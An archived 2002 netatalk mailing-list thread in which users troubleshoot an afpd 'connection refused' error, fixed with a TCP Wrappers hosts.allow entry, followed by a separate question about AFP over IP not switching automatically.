To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
X-Mailer: CommuniGate Pro Web Mailer v.3.5.4
Date: Thu, 07 Feb 2002 12:23:31 -0500
Message-ID: <web-1052472@vibe.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit

Hi -

I seem to be having a problem.  I am working with the
 1.5.1.1 from the RPM available on falsehope.com, on Redhat
 7.1, 2.4.17 kernel.

When I start afp, encounter 

----
Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
 assign requested address
Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
 192.168.0.8:548(1) (1.5.1.1)
Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
Feb  7 11:58:24 app1 atalk: afpd startup succeeded
----


Then when I try to connect from an OS 9 client, I get:

---
Feb  7 11:56:54 app1 afpd[850]: refused connect from
 192.168.0.119
Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
 refused
---

Any suggestions?

Thanks,

Stuart

-

This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:38:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA05478
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:38:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA22621
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:38:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA22615
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:38:23 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA22579
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:38:22 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id g17HcS236429;
	Thu, 7 Feb 2002 12:38:29 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 7 Feb 2002 12:38:28 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: Stuart Haas <shaas@vibe.com>
cc: netatalk-devel@lists.sourceforge.net, <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
In-Reply-To: <web-1052472@vibe.com>
Message-ID: <20020207123718.K83486-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I think that RPM use TCP Wrappers.  You might be missing an entry in
/etc/hosts.allow for afpd.  Something like:

afpd: .marcuscom.com : allow

Joe

On Thu, 7 Feb 2002, Stuart Haas wrote:

> Hi -
>
> I seem to be having a problem.  I am working with the
>  1.5.1.1 from the RPM available on falsehope.com, on Redhat
>  7.1, 2.4.17 kernel.
>
> When I start afp, encounter
>
> ----
> Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
>  assign requested address
> Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
>  192.168.0.8:548(1) (1.5.1.1)
> Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> ----
>
>
> Then when I try to connect from an OS 9 client, I get:
>
> ---
> Feb  7 11:56:54 app1 afpd[850]: refused connect from
>  192.168.0.119
> Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
>  refused
> ---
>
> Any suggestions?
>
> Thanks,
>
> Stuart
>
> -
>
> This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:42:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA05665
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:42:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA02282
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:42:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA02258
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:42:20 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA02205
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:42:19 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g17HfVp31877;
	Thu, 7 Feb 2002 11:41:31 -0600
Date: Thu, 7 Feb 2002 11:41:31 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Joe Clarke <marcus@marcuscom.com>
cc: Stuart Haas <shaas@vibe.com>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
In-Reply-To: <20020207123718.K83486-100000@shumai.marcuscom.com>
Message-ID: <Pine.LNX.4.33.0202071140500.31875-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

afpd : .marcuscom.com

...is the correct entry for /etc/hosts.allow

-Dan

On Thu, 7 Feb 2002, Joe Clarke wrote:

> I think that RPM use TCP Wrappers.  You might be missing an entry in
> /etc/hosts.allow for afpd.  Something like:
>
> afpd: .marcuscom.com : allow
>
> Joe
>
> On Thu, 7 Feb 2002, Stuart Haas wrote:
>
> > Hi -
> >
> > I seem to be having a problem.  I am working with the
> >  1.5.1.1 from the RPM available on falsehope.com, on Redhat
> >  7.1, 2.4.17 kernel.
> >
> > When I start afp, encounter
> >
> > ----
> > Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
> >  assign requested address
> > Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
> >  192.168.0.8:548(1) (1.5.1.1)
> > Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> > Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> > Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> > ----
> >
> >
> > Then when I try to connect from an OS 9 client, I get:
> >
> > ---
> > Feb  7 11:56:54 app1 afpd[850]: refused connect from
> >  192.168.0.119
> > Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
> >  refused
> > ---
> >
> > Any suggestions?
> >
> > Thanks,
> >
> > Stuart
> >
> > -
> >
> > This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
> >
> > _______________________________________________
> > Netatalk-devel mailing list
> > Netatalk-devel@lists.sourceforge.net
> > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> >
> >
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:46:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA05888
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:46:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA08889
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:46:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA08871
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:46:20 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA08849
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:46:19 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id g17HkNG36486;
	Thu, 7 Feb 2002 12:46:23 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 7 Feb 2002 12:46:23 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
cc: Stuart Haas <shaas@vibe.com>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
In-Reply-To: <Pine.LNX.4.33.0202071140500.31875-100000@bocklabs.wisc.edu>
Message-ID: <20020207124609.F83486-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:

> afpd : .marcuscom.com

afpd: .marcuscom.com : allow

works for me on FreeBSD.

Joe

>
> ...is the correct entry for /etc/hosts.allow
>
> -Dan
>
> On Thu, 7 Feb 2002, Joe Clarke wrote:
>
> > I think that RPM use TCP Wrappers.  You might be missing an entry in
> > /etc/hosts.allow for afpd.  Something like:
> >
> > afpd: .marcuscom.com : allow
> >
> > Joe
> >
> > On Thu, 7 Feb 2002, Stuart Haas wrote:
> >
> > > Hi -
> > >
> > > I seem to be having a problem.  I am working with the
> > >  1.5.1.1 from the RPM available on falsehope.com, on Redhat
> > >  7.1, 2.4.17 kernel.
> > >
> > > When I start afp, encounter
> > >
> > > ----
> > > Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
> > >  assign requested address
> > > Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
> > >  192.168.0.8:548(1) (1.5.1.1)
> > > Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> > > Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> > > Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> > > ----
> > >
> > >
> > > Then when I try to connect from an OS 9 client, I get:
> > >
> > > ---
> > > Feb  7 11:56:54 app1 afpd[850]: refused connect from
> > >  192.168.0.119
> > > Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
> > >  refused
> > > ---
> > >
> > > Any suggestions?
> > >
> > > Thanks,
> > >
> > > Stuart
> > >
> > > -
> > >
> > > This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
> > >
> > > _______________________________________________
> > > Netatalk-devel mailing list
> > > Netatalk-devel@lists.sourceforge.net
> > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > >
> > >
> >
> >
> > _______________________________________________
> > Netatalk-devel mailing list
> > Netatalk-devel@lists.sourceforge.net
> > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> >
>
>
>


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:49:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA06013
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:49:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA05775
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:49:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA05763
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:49:02 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA05726
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:49:01 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g17HmJO31945;
	Thu, 7 Feb 2002 11:48:19 -0600
Date: Thu, 7 Feb 2002 11:48:19 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Joe Clarke <marcus@marcuscom.com>
cc: Stuart Haas <shaas@vibe.com>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
In-Reply-To: <20020207124609.F83486-100000@shumai.marcuscom.com>
Message-ID: <Pine.LNX.4.33.0202071146580.31875-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

For all I know, they both work :-)

I don't use FreeBSD but *do* know that on Linux what I stated works. I
just didn't want an incorrect hosts.allow entry to further confuse the
lad.

-Dan

On Thu, 7 Feb 2002, Joe Clarke wrote:

>
>
> On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:
>
> > afpd : .marcuscom.com
>
> afpd: .marcuscom.com : allow
>
> works for me on FreeBSD.
>
> Joe
>
> >
> > ...is the correct entry for /etc/hosts.allow
> >
> > -Dan
> >
> > On Thu, 7 Feb 2002, Joe Clarke wrote:
> >
> > > I think that RPM use TCP Wrappers.  You might be missing an entry in
> > > /etc/hosts.allow for afpd.  Something like:
> > >
> > > afpd: .marcuscom.com : allow
> > >
> > > Joe
> > >
> > > On Thu, 7 Feb 2002, Stuart Haas wrote:
> > >
> > > > Hi -
> > > >
> > > > I seem to be having a problem.  I am working with the
> > > >  1.5.1.1 from the RPM available on falsehope.com, on Redhat
> > > >  7.1, 2.4.17 kernel.
> > > >
> > > > When I start afp, encounter
> > > >
> > > > ----
> > > > Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
> > > >  assign requested address
> > > > Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
> > > >  192.168.0.8:548(1) (1.5.1.1)
> > > > Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> > > > Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> > > > Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> > > > ----
> > > >
> > > >
> > > > Then when I try to connect from an OS 9 client, I get:
> > > >
> > > > ---
> > > > Feb  7 11:56:54 app1 afpd[850]: refused connect from
> > > >  192.168.0.119
> > > > Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
> > > >  refused
> > > > ---
> > > >
> > > > Any suggestions?
> > > >
> > > > Thanks,
> > > >
> > > > Stuart
> > > >
> > > > -
> > > >
> > > > This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
> > > >
> > > > _______________________________________________
> > > > Netatalk-devel mailing list
> > > > Netatalk-devel@lists.sourceforge.net
> > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > >
> > > >
> > >
> > >
> > > _______________________________________________
> > > Netatalk-devel mailing list
> > > Netatalk-devel@lists.sourceforge.net
> > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > >
> >
> >
> >
>


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:52:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA06283
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:52:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA17539
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:52:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA17519
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:52:15 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA17496
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:52:13 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id g17HqGj36512;
	Thu, 7 Feb 2002 12:52:16 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 7 Feb 2002 12:52:16 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
cc: Stuart Haas <shaas@vibe.com>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
In-Reply-To: <Pine.LNX.4.33.0202071146580.31875-100000@bocklabs.wisc.edu>
Message-ID: <20020207125155.L83486-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:

> For all I know, they both work :-)
>
> I don't use FreeBSD but *do* know that on Linux what I stated works. I
> just didn't want an incorrect hosts.allow entry to further confuse the
> lad.

The allow might be understood in hosts._allow_ ;-)

Joe

>
> -Dan
>
> On Thu, 7 Feb 2002, Joe Clarke wrote:
>
> >
> >
> > On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:
> >
> > > afpd : .marcuscom.com
> >
> > afpd: .marcuscom.com : allow
> >
> > works for me on FreeBSD.
> >
> > Joe
> >
> > >
> > > ...is the correct entry for /etc/hosts.allow
> > >
> > > -Dan
> > >
> > > On Thu, 7 Feb 2002, Joe Clarke wrote:
> > >
> > > > I think that RPM use TCP Wrappers.  You might be missing an entry in
> > > > /etc/hosts.allow for afpd.  Something like:
> > > >
> > > > afpd: .marcuscom.com : allow
> > > >
> > > > Joe
> > > >
> > > > On Thu, 7 Feb 2002, Stuart Haas wrote:
> > > >
> > > > > Hi -
> > > > >
> > > > > I seem to be having a problem.  I am working with the
> > > > >  1.5.1.1 from the RPM available on falsehope.com, on Redhat
> > > > >  7.1, 2.4.17 kernel.
> > > > >
> > > > > When I start afp, encounter
> > > > >
> > > > > ----
> > > > > Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
> > > > >  assign requested address
> > > > > Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
> > > > >  192.168.0.8:548(1) (1.5.1.1)
> > > > > Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> > > > > Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> > > > > Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> > > > > ----
> > > > >
> > > > >
> > > > > Then when I try to connect from an OS 9 client, I get:
> > > > >
> > > > > ---
> > > > > Feb  7 11:56:54 app1 afpd[850]: refused connect from
> > > > >  192.168.0.119
> > > > > Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
> > > > >  refused
> > > > > ---
> > > > >
> > > > > Any suggestions?
> > > > >
> > > > > Thanks,
> > > > >
> > > > > Stuart
> > > > >
> > > > > -
> > > > >
> > > > > This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/
> > > > >
> > > > > _______________________________________________
> > > > > Netatalk-devel mailing list
> > > > > Netatalk-devel@lists.sourceforge.net
> > > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > > >
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Netatalk-devel mailing list
> > > > Netatalk-devel@lists.sourceforge.net
> > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > >
> > >
> > >
> > >
> >
>
>
>


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:57:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA06586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:57:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA16456
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:57:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA16439
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:57:44 -0500 (EST)
Received: from server-23.tower-16.messagelabs.com (mail16.messagelabs.com [64.124.170.131])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA16415
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:57:43 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 30377 invoked from network); 7 Feb 2002 17:57:43 -0000
Received: from mail.vibe.com (HELO vibe.com) (65.105.250.196)
  by server-23.tower-16.messagelabs.com with SMTP; 7 Feb 2002 17:57:43 -0000
Received: from [65.105.250.198] (HELO stuarthaaswxp)
  by vibe.com (CommuniGate Pro SMTP 3.5.4)
  with ESMTP-TLS id 1052769; Thu, 07 Feb 2002 12:57:35 -0500
Message-ID: <021c01c1b000$aa086510$c500a8c0@stuarthaaswxp>
From: "Stuart Haas" <shaas@vibe.com>
Cc: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
References: <20020207125155.L83486-100000@shumai.marcuscom.com>
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused
Date: Thu, 7 Feb 2002 12:55:43 -0500
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Thanks solved it,  thanks!

----- Original Message -----
From: "Joe Clarke" <marcus@marcuscom.com>
To: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
Cc: "Stuart Haas" <shaas@vibe.com>; <netatalk-devel@lists.sourceforge.net>;
<netatalk-admins@umich.edu>
Sent: Thursday, February 07, 2002 12:52 PM
Subject: Re: [Netatalk-devel] dsi_getsess: Connection refused


>
>
> On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:
>
> > For all I know, they both work :-)
> >
> > I don't use FreeBSD but *do* know that on Linux what I stated works. I
> > just didn't want an incorrect hosts.allow entry to further confuse the
> > lad.
>
> The allow might be understood in hosts._allow_ ;-)
>
> Joe
>
> >
> > -Dan
> >
> > On Thu, 7 Feb 2002, Joe Clarke wrote:
> >
> > >
> > >
> > > On Thu, 7 Feb 2002, Daniel E. Lautenschleger wrote:
> > >
> > > > afpd : .marcuscom.com
> > >
> > > afpd: .marcuscom.com : allow
> > >
> > > works for me on FreeBSD.
> > >
> > > Joe
> > >
> > > >
> > > > ...is the correct entry for /etc/hosts.allow
> > > >
> > > > -Dan
> > > >
> > > > On Thu, 7 Feb 2002, Joe Clarke wrote:
> > > >
> > > > > I think that RPM use TCP Wrappers.  You might be missing an entry
in
> > > > > /etc/hosts.allow for afpd.  Something like:
> > > > >
> > > > > afpd: .marcuscom.com : allow
> > > > >
> > > > > Joe
> > > > >
> > > > > On Thu, 7 Feb 2002, Stuart Haas wrote:
> > > > >
> > > > > > Hi -
> > > > > >
> > > > > > I seem to be having a problem.  I am working with the
> > > > > >  1.5.1.1 from the RPM available on falsehope.com, on Redhat
> > > > > >  7.1, 2.4.17 kernel.
> > > > > >
> > > > > > When I start afp, encounter
> > > > > >
> > > > > > ----
> > > > > > Feb  7 11:58:24 app1 afpd[1068]: main: atp_open: Cannot
> > > > > >  assign requested address
> > > > > > Feb  7 11:58:24 app1 afpd[1068]: ASIP started on
> > > > > >  192.168.0.8:548(1) (1.5.1.1)
> > > > > > Feb  7 11:58:24 app1 afpd[1068]: uam: uams_dhx.so loaded
> > > > > > Feb  7 11:58:24 app1 afpd[1068]: uam: "DHCAST128" available
> > > > > > Feb  7 11:58:24 app1 atalk: afpd startup succeeded
> > > > > > ----
> > > > > >
> > > > > >
> > > > > > Then when I try to connect from an OS 9 client, I get:
> > > > > >
> > > > > > ---
> > > > > > Feb  7 11:56:54 app1 afpd[850]: refused connect from
> > > > > >  192.168.0.119
> > > > > > Feb  7 11:56:54 app1 afpd[850]: dsi_getsess: Connection
> > > > > >  refused
> > > > > > ---
> > > > > >
> > > > > > Any suggestions?
> > > > > >
> > > > > > Thanks,
> > > > > >
> > > > > > Stuart
> > > > > >
> > > > > > -
> > > > > >
> > > > > > This email has been scanned for all viruses by the MessageLabs
SkyScan service. http://www.messagelabs.com/
> > > > > >
> > > > > > _______________________________________________
> > > > > > Netatalk-devel mailing list
> > > > > > Netatalk-devel@lists.sourceforge.net
> > > > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > > > >
> > > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Netatalk-devel mailing list
> > > > > Netatalk-devel@lists.sourceforge.net
> > > > > https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > > > >
> > > >
> > > >
> > > >
> > >
> >
> >
> >
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
> This email has been scanned for all viruses by the MessageLabs SkyScan
service. http://www.messagelabs.com/
>


This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 14:11:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA09747
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 14:11:36 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA11044
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 14:11:36 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA11031
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 14:11:36 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA10991
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 14:11:35 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g17JBXra117736
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 14:11:33 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <a05100305b8888067fdce@[128.172.20.37]>
In-Reply-To: <021c01c1b000$aa086510$c500a8c0@stuarthaaswxp>
References: <20020207125155.L83486-100000@shumai.marcuscom.com>
 <021c01c1b000$aa086510$c500a8c0@stuarthaaswxp>
Date: Thu, 7 Feb 2002 14:11:29 -0500
To: netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Problems getting AFP to autoswitch protocols
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hey all,

This is kind of a newbie-ish question, but hopefully not too much.

I just set up netatalk 1.5.1.1 on a freshly installed RedHat 7.2 serrver.

I set netatalk up via the rpm I found on rpmfind.net for the 
appropriate platform.

The server shows up in the Chooser, and it exports shares as I now 
expect. But it's only connecting via AFP over AppleTalk. It won't 
autoswitch over to AFP over IP.

I can go to the Chooser and manually type in the IP, and it'll work over IP.

I've used a friend of mine's netatalk on a Debian server he has, and 
it works fine.

All of my config files are as they ship by default (I haven't gotten 
any further than that).

Is there something I'm missing to make this work?

On a side note, i'm fixing to add this line to my afpd.conf file:

"ADC_Admin" -ipaddr 128.172.20.38 -transall -uamlist 
uams_clrtxt.so,uams_dhx.so -nosavepassword


So I can get the right name to show up in the chooser. That is 
essentially the default setup file, with me having just added 
ADC_Admin and the -ipaddr setting in the hopes that that will force 
it to switch.

Is there something I'm missing?

Thanks,

-- 
